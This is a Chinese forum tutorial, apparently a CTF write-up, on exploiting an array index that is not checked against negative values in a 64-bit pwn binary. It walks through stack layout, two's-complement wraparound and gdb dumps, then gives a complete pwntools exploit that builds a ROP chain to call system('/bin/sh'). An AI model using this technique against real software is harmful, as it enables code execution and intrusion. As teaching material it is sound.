首页
论坛
课程
招聘
[原创]数组越界之入门向
2018-6-19 23:27 2849

[原创]数组越界之入门向

2018-6-19 23:27
2849

前言:

做题时候遇到的第一道数组越界的pwn题,其中负数利用有一块地方刚开始一直弄不太明白,发帖求助了一下,在此感谢holing大佬的帮助。

介绍:

0x1. 数组越界原理:

0x1. 堆中的数组越界:

 

因为堆是我们自己分配的,如果越界,那么会把堆中其他空间的数据给写掉,或读取了其他空间的数据,这样就会导致其他变量的数据变得不对,如果是一个指针的话,那么有可能会引起crash,这里我们主要谈论栈中的数组越界问题。

 

0x2. 栈中的数组越界:

 

因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。

 

栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。

 

以下是我所画的数组元素在栈中的布局:

 

布局

 

这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果,这一点我们之后会讲到。

0x2. 正负数在计算机中的表示:

在C语言中,整数的基本数据类型分为短整型(short),整型(int),长整型(long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:

类型 字节 范围
short int 2byte(word) 0~32767(0~0x7fff) -32768~-1(0x8000~0xffff)
unsigned short int 2byte(word) 0~65535(0~0xffff)
int 4byte(dword) 0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff)
unsigned int 4byte(dword) 0~4294967295(0~0xffffffff)
long int 8byte(qword) 正: 0~0x7fffffffffffffff 负:0x8000000000000000~0xffffffffffffffff
unsigned long int 8byte(qword) 0~0xffffffffffffffff
 

了解了数组越界的原理和利用方式之后,我们就来进入实践环节。

例题实践:

check一下:

[*] '/home/parallels/Desktop/3/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位,开了栈保护和nx。

 

主程序:

void hacker()
{
  signed int j; // [rsp+8h] [rbp-78h]
  signed int i; // [rsp+Ch] [rbp-74h]
  __int64 v2; // [rsp+10h] [rbp-70h]
  __int64 v3; // [rsp+18h] [rbp-68h]
  __int64 s[11]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v5; // [rsp+78h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("Welcome to hacker's system\n");
  puts("Now you can set hackers' age\n");
  memset(s, 0, 0x50uLL);
  for ( i = 0; i <= 9; ++i )
  {
    puts("Enter hacker index:");
    __isoc99_scanf("%lld", &v2);
    puts("Enter hacker age:");
    __isoc99_scanf("%lld", &v3);
    if ( v2 > 9 )
      exit(0);
    s[v2] = v3;
  }
  puts("Now let's see your creation:'");
  for ( j = 0; j <= 9; ++j )
    printf("%lld ", s[j]);
}

漏洞点就出现在数组索引上面,只判断了大于9的情况,没有判断小于0的情况。所以可以利用负数来进行绕过。gdb调试一下,找出数组的栈地址:

0x7fffffffdd50:    0x0000000000000014    0x00007fffffffddf0
0x7fffffffdd60:    0x0000000000000000    0x0000000000400881
0x7fffffffdd70:    0x00007ffff7dd26a3    0x00000000ffffdf00
0x7fffffffdd80:    0xfffffffffffffff8    0x0000000000000014
0x7fffffffdd90:    0x0000000000000000    0x0000000000000000   --start
0x7fffffffdda0:    0x0000000000000000    0x0000000000000000
0x7fffffffddb0:    0x0000000000000000    0x0000000000000000
0x7fffffffddc0:    0x0000000000000000    0x0000000000000000
0x7fffffffddd0:    0x0000000000000000    0x0000000000000000   --end
0x7fffffffdde0:    0x0000000000000000    0x4deabe7a5eca9400

0x7fffffffdd80处存储数组下标,0x7fffffffdd88处存储所要赋值给数组的内容。0x7fffffffdd90~0x7fffffffddd8处存储10个数组元素的内容。

 

再看看hack()函数的ret返回地址:

0x7fffffffddf8

当我设置下标为1,内容为20的时候,栈中的内容是这样的:

0x7fffffffdd70:    0x00007ffff7dd26a3    0x00000000ffffdf00
0x7fffffffdd80:    0x0000000000000001    0x0000000000000014
0x7fffffffdd90:    0x0000000000000000    0x0000000000000000
0x7fffffffdda0:    0x0000000000000000    0x0000000000000000
0x7fffffffddb0:    0x0000000000000000    0x0000000000000000
0x7fffffffddc0:    0x0000000000000000    0x0000000000000000
0x7fffffffddd0:    0x0000000000000000    0x0000000000000000
0x7fffffffdde0:    0x0000000000000000    0xaed11199af89ad00
0x7fffffffddf0:    0x00007fffffffde20    0x00000000004009ad

与上面我们所叙述的一样,当我们执行到这段汇编指令的时候:

   0x400895 <hacker+158>:    mov    rax,QWORD PTR [rbp-0x70]
   0x400899 <hacker+162>:    mov    rdx,QWORD PTR [rbp-0x68]
=> 0x40089d <hacker+166>:    mov    QWORD PTR [rbp+rax*8-0x60],rdx

rax中存储的是索引值,rdx中存储的是内容,[rbp+rax*8-0x60]这一段实质上就是数组元素的偏移寻址,即我们上文所说的十个数组元素的存储地址寻址,rdx赋值给它,那么我们这样就可以利用负数,来修改比数组元素更低地址的空间内容了。

 

那么这里应该就有疑问了,ret返回地址不是在数组元素地址的更高地址吗?用负数怎么能够达到修改ret地址内容的效果呢?

 

上面我们已经了解到正负数在计算机中的表示了,为了更容易理解,我们直接实践能很快理解,我们设置下标为-1,内容为20,在栈中的表示是这样的:

0x7fffffffdd70:    0x00007ffff7dd26a3    0x00000000ffffdf00
0x7fffffffdd80:    0xffffffffffffffff    0x0000000000000014
0x7fffffffdd90:    0x0000000000000000    0x0000000000000000
0x7fffffffdda0:    0x0000000000000000    0x0000000000000000

可以看见-1表示成了0xffffffffffffffff

 

现在来计算我们所需要输入的下标的值为多少才能覆盖返回地址。

 

ret地址:[rbp+0x8]

 

指向内存:[rbp+rax*8-0x60]

 

所以我们需要做到:(rbp+rax*8-0x60)%0x10000000000000000 == rbp+0x8,还有一个关键的点是还需要使rax的值为负数,即0x8000000000000000<rax<0xffffffffffffffff

 

这里为什么要取余数呢?因为64位程序中最高是16位(8字节),超出了16位最高位会被截断,所以这里我们可以得到多个可用的rax值。

0x800000000000000d,0xa00000000000000d,0xc00000000000000d,0xe00000000000000d

我们选用0xa00000000000000d来测试一下,转化成负数为-6917529027641081843。作为下标输入,栈中地址为:

0x7fffffffdd80:    0xa00000000000000d    0x0000000000000014
0x7fffffffdd90:    0x0000000000000000    0x0000000000000000

再看看[rbp+rax*8-0x60]地址:

gdb-peda$ p $rbp+$rax*8-0x60
$60 = (void *) 0x7fffffffddf8

成功任意改变栈地址内容。接下来就好构造了,有十次的机会写栈中的内容,足够了。

利用思路:

因为本身程序中就有system函数存在,所以我们只需要写入/bin/sh就好了。

  1. 利用scanf函数将/bin/sh写入bss段。
  2. 调用system函数。

这里具体怎么去利用就不细说了,主要讲数组越界利用的这一部分。

EXP:

from pwn import *

p = process('./pwn1')
elf = ELF('pwn1')

p.recvuntil('name:\n')
p.sendline('yzq')
system_addr = elf.symbols['system']
bss_addr = elf.bss()
scanf_addr = elf.symbols['__isoc99_scanf']
pop_rdi = 0x400a33  #pop rdi;ret
pop_rsi = 0x400a31  #pop rsi;pop r15;ret
ret_addr = 6917529027641081843  #0xa00000000000000d的负数形式
scanf_formot = 0x400AFC

#gdb.attach(p)
#1
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#2
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-1))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_formot))

#3
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-2))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rsi))

#4
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-3))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#5
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-4))
p.recvuntil('age:\n')
p.sendline('%s' % (0x1))  #r15不相干,随意写

#6
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-5))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_addr))

#7
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-6))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#8
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-7))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#9
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-8))
p.recvuntil('age:\n')
p.sendline('%s' % (system_addr))

#10
p.recvuntil('index:\n')
p.sendline('0')
p.recvuntil('age:\n')
p.sendline('0')

p.sendline('/bin/sh')

p.interactive()

相关链接:

  1. https://blog.csdn.net/qq_33438733/article/details/72851639
  2. https://blog.csdn.net/human_evolution/article/details/40752047
  3. https://ctf-wiki.github.io/ctf-wiki/pwn/integeroverflow/intof/

[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2018-6-19 23:30 被V1NKe编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回